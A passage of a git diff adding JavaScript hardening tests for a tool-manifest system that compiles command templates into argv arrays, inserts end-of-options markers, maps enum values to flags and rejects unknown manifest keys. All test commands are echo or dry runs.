{ + assert.throws( + () => tokenizeTemplate(`-H '{headers}'`), + /places a placeholder inside quotes at offset 4; placeholders must be whole, unquoted tokens \(use exec = \[\.\.\.\]\)/ + ); + assert.throws( + () => tokenizeTemplate(`-H "{headers}"`), + /places a placeholder inside quotes/ + ); + }); + + it("allows the {{ escape inside quotes", async () => { + assert.deepEqual(tokenizeTemplate(`-w '\\n%{{http_code}}'`), [ + "-w", + "\\n%{{http_code}}", + ]); + }); + + it("rejects unbalanced quotes", async () => { + assert.throws( + () => tokenizeTemplate(`echo 'abc`), + /unbalanced quote in command template/ + ); + }); + + it("rejects a trailing backslash", async () => { + assert.throws( + () => tokenizeTemplate(`echo abc\\`), + /trailing backslash in command template/ + ); + }); +}); + +// --- compile / load-time checks -------------------------------------------- + +describe("compileCommand", () => { + it("compiles template to exec, keeps template, flags exec as not declared", async (t) => { + const warn = silenceWarn(t); + const m = templateManifest("echo -n {target}", { + target: { type: "string" }, + }); + compileCommand(m); + assert.deepEqual(m.command.exec, ["echo", "-n", "{target}"]); + assert.equal(m.command.template, "echo -n {target}"); + assert.equal(m.command._execWasDeclared, false); + assert.ok(!Object.keys(m.command).includes("_execWasDeclared")); + assert.equal(warn.mock.callCount(), 1); + assert.match( + warn.mock.calls[0].arguments[0], + /^warning: \[command\] template is deprecated and will be removed in the next minor release; use exec = \[\.\.\.\]$/ + ); + }); + + it("warns once per load, not once per build", async (t) => { + const warn = silenceWarn(t); + const m = templateManifest("echo {target}", { target: { type: "string" } }); + buildCommand(m, { target: "a" }); + buildCommand(m, { target: "b" }); + assert.equal(warn.mock.callCount(), 1); + }); + + it("flags a declared exec and does not warn", async (t) => { + const warn = silenceWarn(t); + const m = execManifest(["echo", "{target}"], { target: { type: "string" } }); + compileCommand(m); + assert.equal(m.command._execWasDeclared, true); + assert.equal(warn.mock.callCount(), 0); + }); + + it("refuses a template with a placeholder inside quotes", async (t) => { + silenceWarn(t); + const m = templateManifest("curl -H '{headers}' {url}", { + headers: { type: "string" }, + url: { type: "url" }, + }); + assert.throws(() => compileCommand(m), /placeholder inside quotes/); + }); + + it("refuses a conditional template with a placeholder inside quotes", async (t) => { + silenceWarn(t); + const m = execManifest( + ["echo", "{_hdr}", "{url}"], + { headers: { type: "string" }, url: { type: "url" } }, + { conditionals: { hdr: { when: "headers != ''", template: "-H '{headers}'" } } } + ); + assert.throws( + () => compileCommand(m), + /command\.conditionals\.hdr template places a placeholder inside quotes/ + ); + }); + + it("refuses an unresolved placeholder", async () => { + const m = execManifest(["echo", "{nope}"], { target: { type: "string" } }); + assert.throws( + () => compileCommand(m), + /unresolved placeholder '\{nope\}' in command/ + ); + }); + + it("refuses an unresolved placeholder in a conditional", async () => { + const m = execManifest( + ["echo", "{_c}"], + { a: { type: "string" } }, + { conditionals: { c: { when: "a != ''", template: "-x {zzz}" } } } + ); + assert.throws( + () => compileCommand(m), + /unresolved placeholder '\{zzz\}' in command\.conditionals\.c/ + ); + }); + + it("no longer recognizes the legacy _scan_flags alias", async () => { + const m = execManifest( + ["echo", "{_scan_flags}", "{target}"], + { + target: { type: "string" }, + scan_type: { type: "enum", allowed: ["ping"] }, + }, + { mappings: { scan_type: { ping: "-sn" } } } + ); + assert.throws( + () => compileCommand(m), + /unresolved placeholder '\{_scan_flags\}'/ + ); + }); + + it("accepts every declared variable class", async () => { + const m = execManifest( + [ + "echo", + "{target}", + "{_timeout}", + "{_scan_type_flags}", + "{_c}", + "{_scan_id}", + "{_output_file}", + "{_evidence_dir}", + "prefix-{target}-{_timeout}", + ], + { + target: { type: "string" }, + scan_type: { type: "enum", allowed: ["ping"] }, + }, + { + defaults: { _timeout: "600s" }, + mappings: { scan_type: { ping: "-sn" } }, + conditionals: { c: { when: "target != ''", template: "-t" } }, + } + ); + assert.doesNotThrow(() => compileCommand(m)); + }); + + it("refuses a multi-token variable embedded in a larger token", async () => { + const m = execManifest( + ["echo", "x{_scan_type_flags}"], + { scan_type: { type: "enum", allowed: ["ping"] } }, + { mappings: { scan_type: { ping: "-sn" } } } + ); + assert.throws( + () => compileCommand(m), + /^Error: placeholder '\{_scan_type_flags\}' expands to multiple tokens and must be a whole token in command$/ + ); + }); + + it("refuses end_of_options other than --", async () => { + const m = execManifest(["echo", "{a}"], { a: { type: "string" } }, { + end_of_options: "-", + }); + assert.throws( + () => compileCommand(m), + /command\.end_of_options must be exactly "--"/ + ); + }); + + it("refuses a non-string exec element", async () => { + const m = execManifest(["echo", 1], {}); + assert.throws(() => compileCommand(m), /non-empty array of strings/); + }); + + it("skips {{ and }} escapes in the placeholder scan", async () => { + const m = execManifest(["echo", "-w", "\\n%{{http_code}}"], {}); + assert.doesNotThrow(() => compileCommand(m)); + }); +}); + +describe("loadManifest - load-time checks", () => { + const head = ` +[tool] +name = "t" +binary = "echo" +description = "d" + +[args.target] +position = 1 +required = true +type = "string" +description = "t" +`; + const tail = ` +[output] +format = "text" +`; + + it("refuses a template with a placeholder inside quotes", async () => { + const path = writeTmp(`${head} +[command] +template = "echo '{target}'" +${tail}`); + assert.throws(() => loadManifest(path), /placeholder inside quotes/); + }); + + it("refuses an unresolved placeholder", async () => { + const path = writeTmp(`${head} +[command] +exec = ["echo", "{target}", "{missing}"] +${tail}`); + assert.throws(() => loadManifest(path), /unresolved placeholder '\{missing\}'/); + }); + + it("refuses an invalid end_of_options value", async () => { + const path = writeTmp(`${head} +[command] +exec = ["echo", "{target}"] +end_of_options = "---" +${tail}`); + assert.throws(() => loadManifest(path), /end_of_options must be exactly "--"/); + }); + + it("compiles a legacy template with a deprecation warning", async (t) => { + const warn = silenceWarn(t); + const path = writeTmp(`${head} +[command] +template = "echo -n {target}" +${tail}`); + const m = loadManifest(path); + assert.deepEqual(m.command.exec, ["echo", "-n", "{target}"]); + assert.equal(m.command._execWasDeclared, false); + assert.equal(warn.mock.callCount(), 1); + }); + + it("loads a declared exec with conditionals and end_of_options", async (t) => { + const warn = silenceWarn(t); + const path = writeTmp(`${head} +[args.headers] +position = 2 +required = false +type = "string" +default = "" +allow_whitespace = true +description = "h" + +[command] +exec = ["echo", "-w", "\\\\n%{{http_code}}", "{_header_flags}", "{target}"] +end_of_options = "--" + +[command.conditionals.header_flags] +when = "headers != ''" +template = "-H {headers}" +${tail}`); + const m = loadManifest(path); + assert.equal(m.command._execWasDeclared, true); + assert.equal(warn.mock.callCount(), 0); + const { argv } = buildCommandArgv(m, { + target: "example.com", + headers: "X-Trace: abc", + }); + assert.deepEqual(argv, [ + "echo", + "-w", + "\\n%{http_code}", + "-H", + "X-Trace: abc", + "--", + "example.com", + ]); + }); +}); + +// --- W1.3 substitution ------------------------------------------------------ + +describe("substitution - argv boundaries", () => { + it("a whitespace-containing value is exactly one argv element (exec + allow_whitespace)", async () => { + const m = execManifest(["echo", "-n", "{msg}"], { + msg: { type: "string", required: true, allow_whitespace: true }, + }); + const { argv } = buildCommandArgv(m, { msg: "hello world twice" }); + assert.deepEqual(argv, ["echo", "-n", "hello world twice"]); + assert.equal(argv.length, 3); + }); + + it("the OS receives that single element", async () => { + const m = execManifest(["echo", "{msg}"], { + msg: { type: "string", required: true, allow_whitespace: true }, + }); + const saved = process.env.TOOLCLAD_EVIDENCE_DIR; + process.env.TOOLCLAD_EVIDENCE_DIR = mkdtempSync(join(tmpdir(), "toolclad-ev-")); + let envelope; + try { + envelope = await execute(m, { msg: "hello world" }); + } finally { + if (saved === undefined) delete process.env.TOOLCLAD_EVIDENCE_DIR; + else process.env.TOOLCLAD_EVIDENCE_DIR = saved; + } + assert.equal(envelope.status, "success"); + assert.equal(envelope.results.raw_output, "hello world\n"); + }); + + it("dry run exposes the argv array", async () => { + const m = execManifest(["echo", "{msg}"], { + msg: { type: "string", required: true, allow_whitespace: true }, + }); + const r = await execute(m, { msg: "a b" }, { dryRun: true }); + assert.equal(r.status, "dry_run"); + assert.deepEqual(r.argv, ["echo", "a b"]); + }); + + it("a compiled template is still template mode: whitespace rejected", async (t) => { + silenceWarn(t); + const m = templateManifest("echo {msg}", { + msg: { type: "string", required: true, allow_whitespace: true }, + }); + assert.throws( + () => buildCommand(m, { msg: "hello world" }), + /must not contain whitespace/ + ); + }); + + it("drops a token that was exactly one placeholder resolving to empty", async () => { + const m = execManifest(["echo", "{opt}", "x={opt}", "end"], { + opt: { type: "string", required: false, default: "" }, + }); + const { argv } = buildCommandArgv(m, {}); + assert.deepEqual(argv, ["echo", "x=", "end"]); + }); + + it("an unset optional with no default disappears", async () => { + const m = execManifest(["echo", "{opt}", "end"], { + opt: { type: "string", required: false }, + }); + const { argv } = buildCommandArgv(m, {}); + assert.deepEqual(argv, ["echo", "end"]); + }); + + it("substitutes textually inside a token without splitting", async () => { + const m = execManifest(["echo", "{proto}://{host}:{port}"], { + proto: { type: "enum", allowed: ["http"], default: "http" }, + host: { type: "string", required: true }, + port: { type: "port", default: 80 }, + }); + const { argv } = buildCommandArgv(m, { host: "example.com" }); + assert.deepEqual(argv, ["echo", "http://example.com:80"]); + }); + + it("unescapes {{ and }} to literal braces", async () => { + const m = execManifest(["echo", "-w", "\\n%{{http_code}}", "{{{a}}}"], { + a: { type: "string", default: "v" }, + }); + const { argv } = buildCommandArgv(m, {}); + assert.deepEqual(argv, ["echo", "-w", "\\n%{http_code}", "{v}"]); + }); + + it("a quoted {{ escape in a template reaches argv as a literal brace", async (t) => { + silenceWarn(t); + const m = templateManifest("echo -w '%{{http_code}}' {a}", { + a: { type: "string", default: "v" }, + }); + const { argv } = buildCommandArgv(m, {}); + assert.deepEqual(argv, ["echo", "-w", "%{http_code}", "v"]); + }); +}); + +describe("substitution - end_of_options", () => { + it("inserts -- before the first user-arg token, once", async () => { + const m = execManifest( + ["echo", "{_scan_id}", "-n", "{a}", "{b}"], + { a: { type: "string", required: true }, b: { type: "string", required: true } }, + { end_of_options: "--" } + ); + const { argv } = buildCommandArgv(m, { a: "one", b: "two" }); + assert.equal(argv[0], "echo"); + assert.match(argv[1], /^\d+-[0-9a-f]{32}$/); + assert.deepEqual(argv.slice(2), ["-n", "--", "one", "two"]); + }); + + it("inserts nothing when no token is solely a user-arg placeholder", async () => { + const m = execManifest( + ["echo", "-n", "v={a}"], + { a: { type: "string", required: true } }, + { end_of_options: "--" } + ); + const { argv } = buildCommandArgv(m, { a: "one" }); + assert.deepEqual(argv, ["echo", "-n", "v=one"]); + }); + + it("skips a dropped empty optional and goes before the next user-arg token", async () => { + const m = execManifest( + ["echo", "{opt}", "{a}"], + { opt: { type: "string", required: false }, a: { type: "string", required: true } }, + { end_of_options: "--" } + ); + const { argv } = buildCommandArgv(m, { a: "one" }); + assert.deepEqual(argv, ["echo", "--", "one"]); + }); + + it("does not insert -- inside conditional expansions", async () => { + const m = execManifest( + ["echo", "{_hdr}", "{url}"], + { + headers: { type: "string", required: false, default: "", allow_whitespace: true }, + url: { type: "url", required: true }, + }, + { + end_of_options: "--", + conditionals: { hdr: { when: "headers != ''", template: "-H {headers}" } }, + } + ); + const { argv } = buildCommandArgv(m, { + headers: "X-Trace: abc", + url: "https://example.com/", + }); + assert.deepEqual(argv, ["echo", "-H", "X-Trace: abc", "--", "https://example.com/"]); + }); +}); + +describe("substitution - trusted multi-token variables", () => { + it("conditionals resolve under the _ convention", async (t) => { + silenceWarn(t); + const m = templateManifest( + "echo {_verbose} {target}", + { + target: { type: "string", required: true }, + mode: { type: "enum", allowed: ["loud", "quiet"], default: "quiet" }, + level: { type: "integer", default: 3 }, + }, + { + conditionals: { + verbose: { when: "mode == 'loud'", template: "-v --level {level}" }, + }, + } + ); + assert.deepEqual(buildCommandArgv(m, { target: "host", mode: "loud" }).argv, [ + "echo", + "-v", + "--level", + "3", + "host", + ]); + assert.deepEqual(buildCommandArgv(m, { target: "host" }).argv, ["echo", "host"]); + assert.equal(buildCommand(m, { target: "host", mode: "loud" }).command, "echo -v --level 3 host"); + }); + + it("a conditional keeps a whitespace value as one element", async () => { + const m = execManifest( + ["echo", "{_header_flags}", "{target}"], + { + headers: { type: "string", required: false, default: "", allow_whitespace: true }, + target: { type: "string", required: true }, + }, + { conditionals: { header_flags: { when: "headers != ''", template: "-H {headers}" } } } + ); + const { argv } = buildCommandArgv(m, { headers: "X-Trace: abc", target: "h" }); + assert.deepEqual(argv, ["echo", "-H", "X-Trace: abc", "h"]); + }); + + it("mappings splice tokenized flags under __flags", async () => { + const m = execManifest( + ["echo", "{_scan_type_flags}", "{target}"], + { + target: { type: "scope_target", required: true }, + scan_type: { type: "enum", allowed: ["ping", "service"], required: true }, + }, + { mappings: { scan_type: { ping: "-sn -PE", service: "-sT -sV" } } } + ); + const { argv } = buildCommandArgv(m, { target: "10.0.1.0/24", scan_type: "service" }); + assert.deepEqual(argv, ["echo", "-sT", "-sV", "10.0.1.0/24"]); + }); + + it("refuses at load an enum mapping that does not cover every allowed value", async () => { + const m = execManifest( + ["echo", "{_scan_type_flags}", "{target}"], + { + target: { type: "scope_target", required: true }, + scan_type: { type: "enum", allowed: ["ping", "other", "third"], required: true }, + }, + { mappings: { scan_type: { ping: "-sn" } } } + ); + assert.throws( + () => compileCommand(m), + /\[command\.mappings\.scan_type\] does not cover enum values: other, third/ + ); + }); + + it("a value with no mapping entry is a build error, not an empty splice", async () => { + const m = execManifest( + ["echo", "{_mode_flags}", "{target}"], + { + target: { type: "scope_target", required: true }, + mode: { type: "string", required: true }, + }, + { mappings: { mode: { fast: "-f" } } } + ); + assert.throws( + () => buildCommandArgv(m, { target: "10.0.1.1", mode: "slow" }), + /^Error: no mapping for argument 'mode' value 'slow' in \[command\.mappings\.mode\]$/ + ); + }); + + it("mapping a value to the empty string means no flags", async () => { + const m = execManifest( + ["echo", "{_scan_type_flags}", "{target}"], + { + target: { type: "scope_target", required: true }, + scan_type: { type: "enum", allowed: ["ping", "plain"], required: true }, + }, + { mappings: { scan_type: { ping: "-sn", plain: "" } } } + ); + const { argv } = buildCommandArgv(m, { target: "10.0.1.1", scan_type: "plain" }); + assert.deepEqual(argv, ["echo", "10.0.1.1"]); + }); + + it("an absent optional mapped argument contributes nothing", async () => { + const m = execManifest( + ["echo", "{_mode_flags}", "{target}"], + { + target: { type: "scope_target", required: true }, + mode: { type: "string", required: false }, + }, + { mappings: { mode: { fast: "-f" } } } + ); + const { argv } = buildCommandArgv(m, { target: "10.0.1.1" }); + assert.deepEqual(argv, ["echo", "10.0.1.1"]); + }); + + it("executor mode validates strictly (whitespace rejected)", async () => { + const m = { + tool: { name: "t", description: "d" }, + args: { msg: { type: "string", required: true, allow_whitespace: true } }, + command: { executor: "scripts/wrapper.sh" }, + output: { format: "text" }, + }; + assert.throws( + () => buildCommand(m, { msg: "a b" }), + /must not contain whitespace/ + ); + }); +}); diff --git a/js/test/hardening_w2.test.js b/js/test/hardening_w2.test.js new file mode 100644 index 0000000..2e9418f --- /dev/null +++ b/js/test/hardening_w2.test.js @@ -0,0 +1,730 @@ +import { describe, it, mock } from "node:test"; +import assert from "node:assert/strict"; +import { writeFileSync, mkdtempSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { spawnSync } from "node:child_process"; +import { fileURLToPath } from "node:url"; +import TOML from "@iarna/toml"; +import { + loadManifest, + loadManifestWithOptions, + findUnknownKeys, +} from "../src/manifest.js"; +import { execute, executeMcp } from "../src/executor.js"; + +// Tests in this file never run a network tool: commands are echo, dry runs, +// or pure load-time assertions. The CLI tests spawn node on the local CLI +// only. + +const CLI = fileURLToPath(new URL("../src/cli.js", import.meta.url)); + +function writeTmp(content) { + const dir = mkdtempSync(join(tmpdir(), "toolclad-w2-")); + const path = join(dir, "test.clad.toml"); + writeFileSync(path, content); + return path; +} + +function silenceWarn(t) { + const m = mock.method(console, "warn", () => {}); + t.after(() => m.mock.restore()); + return m; +} + +function execManifest(exec, args) { + return { + tool: { name: "t", binary: "echo", description: "d" }, + args, + command: { exec }, + output: { format: "text" }, + }; +} + +const TOOL_HEAD = ` +[tool] +name = "t" +binary = "echo" +description = "d" +`; +const ARGS = ` +[args.target] +position = 1 +required = true +type = "string" +description = "t" +`; +const COMMAND = ` +[command] +exec = ["echo", "{target}"] +`; +const OUTPUT = ` +[output] +format = "text" +`; +const BASE = TOOL_HEAD + ARGS + COMMAND + OUTPUT; + +// The normative allowlist, transcribed independently of src/manifest.js so a +// key dropped from either copy fails a test here. +const W2 = { + tool: "name version binary description timeout_seconds risk_tier human_approval dispatch mode network_egress allow_interpreter cedar evidence limits", + "tool.cedar": "resource action", + "tool.evidence": "output_dir capture hash screenshots", + "tool.limits": "nproc nofile fsize_bytes address_space_bytes cpu_seconds", + args: "position required type description default allowed pattern sanitize min max min_float max_float clamp schemes scope_check block_internal allow_leading_dash allow_whitespace", + command: "template exec executor defaults mappings conditionals end_of_options", + "command.conditionals": "when template", + output: "format parser envelope schema max_bytes", + http: "method url headers body_template success_status error_status", + mcp: "server tool field_map", + session: "startup_command ready_pattern startup_timeout_seconds idle_timeout_seconds session_timeout_seconds max_interactions interaction commands child_detection", + "session.interaction": "input_sanitize output_max_bytes output_wait_ms", + "session.commands": "pattern description risk_tier human_approval extract_target args", + "session.child_detection": "pattern type manifest", + browser: "engine headless connect extract_mode startup_timeout_seconds session_timeout_seconds idle_timeout_seconds max_interactions scope commands state defaults", + "browser.defaults": "extract_mode", + "browser.scope": "allowed_domains blocked_domains allow_external", + "browser.commands": "description risk_tier human_approval args", + "browser.state": "fields", +}; + +function sortedKeys(table) { + return Object.keys(table).sort(); +} + +function unionKeys(tables) { + return [...new Set(Object.values(tables).flatMap(Object.keys))].sort(); +} + +function assertCovers(actual, section) { + assert.deepEqual(actual, W2[section].split(" ").sort(), `[${section}] keys`); +} + +// --- W2 unknown keys are refused ---------------------------------------------- + +describe("W2 unknown keys - refused at load", () => { + it("refuses tiemout_seconds in [tool] and names the key", async () => { + const path = writeTmp(`${TOOL_HEAD}tiemout_seconds = 5\n${ARGS}${COMMAND}${OUTPUT}`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'tool\.tiemout_seconds' in manifest$/ + ); + }); + + it("refuses an unknown [args.] key with the concrete path", async () => { + const path = writeTmp(`${TOOL_HEAD}${ARGS}block_internal_typo = true\n${COMMAND}${OUTPUT}`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'args\.target\.block_internal_typo' in manifest$/ + ); + }); + + it("refuses an unknown [command] key", async () => { + const path = writeTmp(`${TOOL_HEAD}${ARGS}${COMMAND}templte = "echo"\n${OUTPUT}`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'command\.templte' in manifest$/ + ); + }); + + it("refuses an unknown [output] key", async () => { + const path = writeTmp(`${TOOL_HEAD}${ARGS}${COMMAND}${OUTPUT}formt = "json"\n`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'output\.formt' in manifest$/ + ); + }); + + it("refuses an unknown [http] key", async () => { + const path = writeTmp(`${TOOL_HEAD}${ARGS} +[http] +method = "GET" +url = "https://api.example.com/{target}" +methd = "POST" +${OUTPUT}`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'http\.methd' in manifest$/ + ); + }); + + it("refuses an unknown [command.conditionals.] key with the concrete path", async () => { + const path = writeTmp(`${TOOL_HEAD}${ARGS} +[args.rate] +position = 2 +required = false +type = "integer" +default = 100 + +[command] +exec = ["echo", "{_rate_flag}", "{target}"] + +[command.conditionals.rate_flag] +when = "rate != '100'" +template = "--rate {rate}" +whenn = "x" +${OUTPUT}`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'command\.conditionals\.rate_flag\.whenn' in manifest$/ + ); + }); + + it("refuses an unknown top-level section", async () => { + const path = writeTmp(`${BASE} +[toool] +name = "x" +`); + assert.throws(() => loadManifest(path), /^Error: unknown key 'toool' in manifest$/); + }); + + it("reports every unknown key in one sorted message", async () => { + const path = writeTmp(`${TOOL_HEAD}tiemout_seconds = 5 +${ARGS}block_internal_typo = true + +[args.rate] +position = 2 +required = false +type = "integer" +default = 100 + +[command] +exec = ["echo", "{_rate_flag}", "{target}"] + +[command.conditionals.rate_flag] +when = "rate != '100'" +template = "--rate {rate}" +whenn = "x" + +[output] +format = "text" +formt = "json" +`); + assert.throws( + () => loadManifest(path), + (err) => { + assert.equal( + err.message, + "unknown key 'args.target.block_internal_typo' in manifest; " + + "unknown key 'command.conditionals.rate_flag.whenn' in manifest; " + + "unknown key 'output.formt' in manifest; " + + "unknown key 'tool.tiemout_seconds' in manifest" + ); + return true; + } + ); + }); + + it("runs the key check before structural validation", async () => { + // No [command] and no [output], yet the unknown key is what is reported. + const path = writeTmp(`${TOOL_HEAD}tiemout_seconds = 5\n`); + assert.throws( + () => loadManifest(path), + /^Error: unknown key 'tool\.tiemout_seconds' in manifest$/ + ); + }); +}); + +// --- W2 escape hatch ---------------------------------------------------------- + +describe("W2 unknown keys - allowUnknownKeys escape hatch", () => { + const content = `${TOOL_HEAD}tiemout_seconds = 5\n${ARGS}block_internal_typo = true\n${COMMAND}${OUTPUT}`; + + it("loadManifestWithOptions downgrades to warnings and loads", async (t) => { + const warn = silenceWarn(t); + const path = writeTmp(content); + const m = loadManifestWithOptions(path, { allowUnknownKeys: true }); + assert.equal(m.tool.name, "t"); + assert.deepEqual( + warn.mock.calls.map((c) => c.arguments[0]), + [ + "warning: unknown key 'args.target.block_internal_typo' in manifest", + "warning: unknown key 'tool.tiemout_seconds' in manifest", + ] + ); + }); + + it("loadManifestWithOptions defaults to strict", async () => { + const path = writeTmp(content); + assert.throws(() => loadManifestWithOptions(path), /unknown key 'tool\.tiemout_seconds'/); + assert.throws(() => loadManifestWithOptions(path, {}), /unknown key 'tool\.tiemout_seconds'/); + }); + + it("loadManifest stays strict", async () => { + const path = writeTmp(content); + assert.throws(() => loadManifest(path), /unknown key 'tool\.tiemout_seconds'/); + }); + + it("CLI validate fails on an unknown key and --allow-unknown-keys warns instead", async () => { + const path = writeTmp(content); + + const strict = spawnSync(process.execPath, [CLI, "validate", path], { encoding: "utf-8" }); + assert.equal(strict.status, 1); + assert.match(strict.stderr, /unknown key 'tool\.tiemout_seconds' in manifest/); + + const lenient = spawnSync( + process.execPath, + [CLI, "validate", path, "--allow-unknown-keys"], + { encoding: "utf-8" } + ); + assert.equal(lenient.status, 0, lenient.stderr); + assert.match(lenient.stdout, /OK {2}\(tool: t\)/); + assert.match(lenient.stderr, /^warning: unknown key 'args\.target\.block_internal_typo' in manifest$/m); + assert.match(lenient.stderr, /^warning: unknown key 'tool\.tiemout_seconds' in manifest$/m); + }); +}); + +// --- W2 every known key is accepted ------------------------------------------- + +describe("W2 allowlist - every normative key loads", () => { + it("accepts every [tool]/[tool.*]/[args.*]/[command]/[output] key", async () => { + const path = writeTmp(` +[tool] +name = "full" +version = "1.0.0" +binary = "echo" +description = "every oneshot key" +timeout_seconds = 30 +risk_tier = "low" +human_approval = false +dispatch = "exec" +mode = "oneshot" +network_egress = true +allow_interpreter = true + +[tool.cedar] +resource = "Tool::Full" +action = "execute_tool" + +[tool.evidence] +output_dir = "{evidence_dir}/{scan_id}-full" +capture = true +hash = "sha256" +screenshots = true + +[tool.limits] +nproc = 64 +nofile = 256 +fsize_bytes = 1048576 +address_space_bytes = 536870912 +cpu_seconds = 60 + +[args.target] +position = 1 +required = true +type = "string" +description = "target" +pattern = "^[a-z.]+$" +sanitize = ["injection"] +scope_check = false +block_internal = true +allow_leading_dash = false +allow_whitespace = false + +[args.port] +position = 2 +required = false +type = "integer" +description = "port" +default = 80 +min = 1 +max = 65535 +clamp = true + +[args.ratio] +position = 3 +required = false +type = "number" +description = "ratio" +default = 0.5 +min_float = 0.0 +max_float = 1.0 + +[args.url] +position = 4 +required = false +type = "url" +description = "url" +schemes = ["https"] +block_internal = true + +[args.speed] +position = 5 +required = false +type = "enum" +description = "speed" +allowed = ["fast", "slow"] +default = "fast" + +[command] +template = "echo {target}" +exec = ["echo", "{_speed_flags}", "{_rate_flag}", "{target}", "{port}", "{rate}"] +executor = "scripts/wrapper.sh" +end_of_options = "--" + +[command.defaults] +rate = "100" + +[command.mappings.speed] +fast = "-f" +slow = "-s" + +[command.conditionals.rate_flag] +when = "rate != '100'" +template = "--rate {rate}" + +[output] +format = "json" +parser = "builtin:json" +envelope = true +max_bytes = 1024 + +[output.schema] +type = "object" + +[output.schema.properties.raw_output] +type = "string" +`); + const m = loadManifest(path); + + assertCovers(sortedKeys(m.tool), "tool"); + assertCovers(sortedKeys(m.tool.cedar), "tool.cedar"); + assertCovers(sortedKeys(m.tool.evidence), "tool.evidence"); + assertCovers(sortedKeys(m.tool.limits), "tool.limits"); + assertCovers(unionKeys(m.args), "args"); + assertCovers(sortedKeys(m.command), "command"); + assertCovers(unionKeys(m.command.conditionals), "command.conditionals"); + assertCovers(sortedKeys(m.output), "output"); + + assert.equal(m.tool.mode, "oneshot"); + assert.equal(m.tool.network_egress, true); + assert.equal(m.tool.allow_interpreter, true); + assert.equal(m.tool.evidence.screenshots, true); + assert.equal(m.tool.limits.cpu_seconds, 60); + assert.equal(m.output.max_bytes, 1024); + // Open maps keep their author-chosen keys untouched. + assert.equal(m.command.defaults.rate, "100"); + assert.equal(m.command.mappings.speed.slow, "-s"); + assert.equal(m.output.schema.properties.raw_output.type, "string"); + }); + + it("accepts every [session]/[session.*] key", async () => { + const path = writeTmp(` +[tool] +name = "s" +description = "session" +mode = "session" + +[session] +startup_command = "cat" +ready_pattern = "^> $" +startup_timeout_seconds = 5 +idle_timeout_seconds = 60 +session_timeout_seconds = 600 +max_interactions = 10 + +[session.interaction] +input_sanitize = ["injection"] +output_max_bytes = 65536 +output_wait_ms = 200 + +[session.commands.select] +pattern = "^SELECT .+$" +description = "select" +risk_tier = "low" +human_approval = false +extract_target = "rows" + +[session.commands.select.args.table] +type = "string" +required = true + +[session.child_detection] +pattern = "^\\\\$ $" +type = "shell" +manifest = "child.clad.toml" + +[output] +format = "text" +`); + const m = loadManifest(path); + assertCovers(sortedKeys(m.session), "session"); + assertCovers(sortedKeys(m.session.interaction), "session.interaction"); + assertCovers(unionKeys(m.session.commands), "session.commands"); + assertCovers(sortedKeys(m.session.child_detection), "session.child_detection"); + assert.equal(m.tool.mode, "session"); + assert.equal(m.session.commands.select.args.table.type, "string"); + }); + + it("accepts every [browser]/[browser.*] key", async () => { + const path = writeTmp(` +[tool] +name = "b" +description = "browser" +mode = "browser" + +[browser] +engine = "cdp" +headless = true +connect = "launch" +extract_mode = "accessibility_tree" +startup_timeout_seconds = 10 +session_timeout_seconds = 600 +idle_timeout_seconds = 60 +max_interactions = 100 + +[browser.defaults] +extract_mode = "text" + +[browser.scope] +allowed_domains = ["*.example.com"] +blocked_domains = ["evil.example.com"] +allow_external = false + +[browser.commands.navigate] +description = "navigate" +risk_tier = "medium" +human_approval = false + +[browser.commands.navigate.args.url] +type = "url" +required = true + +[browser.state] +fields = ["url", "title"] + +[output] +format = "json" +`); + const m = loadManifest(path); + assertCovers(sortedKeys(m.browser), "browser"); + assertCovers(sortedKeys(m.browser.defaults), "browser.defaults"); + assertCovers(sortedKeys(m.browser.scope), "browser.scope"); + assertCovers(unionKeys(m.browser.commands), "browser.commands"); + assertCovers(sortedKeys(m.browser.state), "browser.state"); + assert.equal(m.tool.mode, "browser"); + assert.equal(m.browser.commands.navigate.args.url.type, "url"); + }); + + it("accepts every [http] key, with headers as an open map", async () => { + const path = writeTmp(` +[tool] +name = "h" +description = "http" + +[args.q] +type = "string" +required = true + +[http] +method = "GET" +url = "https://api.example.com/search?q={q}" +body_template = "" +success_status = [200] +error_status = [500] + +[http.headers] +Accept = "application/json" +X-Custom = "{q}" + +[output] +format = "json" +`); + const m = loadManifest(path); + assertCovers(sortedKeys(m.http), "http"); + assert.equal(m.http.headers["X-Custom"], "{q}"); + }); + + it("accepts every [mcp] key, with field_map as an open map", async () => { + const path = writeTmp(` +[tool] +name = "m" +description = "mcp" + +[args.target] +type = "string" +required = true + +[mcp] +server = "scanner" +tool = "scan" + +[mcp.field_map] +target = "host" +`); + const m = loadManifest(path); + assertCovers(sortedKeys(m.mcp), "mcp"); + assert.equal(m.mcp.field_map.target, "host"); + }); + + it("findUnknownKeys leaves open maps and opaque data alone", async () => { + const parsed = TOML.parse(` +[tool] +name = "t" + +[command.defaults] +anything_goes = "1" + +[command.mappings.scan] +whatever = "-x" + +[output.schema.properties.deep.items.properties.nested] +type = "string" + +[http.headers] +X-Anything = "v" + +[mcp.field_map] +ours = "theirs" + +[session.commands.c.args.a] +unchecked = true + +[browser.commands.c.args.a] +unchecked = true +`); + assert.deepEqual(findUnknownKeys(parsed), []); + }); + + it("findUnknownKeys flags every unknown key and nothing else", async () => { + const parsed = TOML.parse(` +[tool] +name = "t" +bogus = 1 + +[tool.cedar] +resource = "r" +actoin = "a" + +[args.x] +type = "string" +tpye = "string" + +[browser.scope] +allowed_domains = [] +allowed_domain = [] +`); + assert.deepEqual(findUnknownKeys(parsed), [ + "args.x.tpye", + "browser.scope.allowed_domain", + "tool.bogus", + "tool.cedar.actoin", + ]); + }); +}); + +// --- W2 tool.mode and inert defaults ------------------------------------------ + +describe("W2 tool.mode", () => { + it("derives oneshot when absent and no backend section is present", async () => { + const m = loadManifest(writeTmp(BASE)); + assert.equal(m.tool.mode, "oneshot"); + }); + + it("derives session and browser from the backend section", async () => { + const s = loadManifest( + writeTmp(`${TOOL_HEAD}\n[session]\nstartup_command = "cat"\n${OUTPUT}`) + ); + assert.equal(s.tool.mode, "session"); + const b = loadManifest( + writeTmp(`${TOOL_HEAD}\n[browser]\nengine = "cdp"\n${OUTPUT}`) + ); + assert.equal(b.tool.mode, "browser"); + }); + + it("keeps an explicit mode", async () => { + const m = loadManifest(writeTmp(`${TOOL_HEAD}mode = 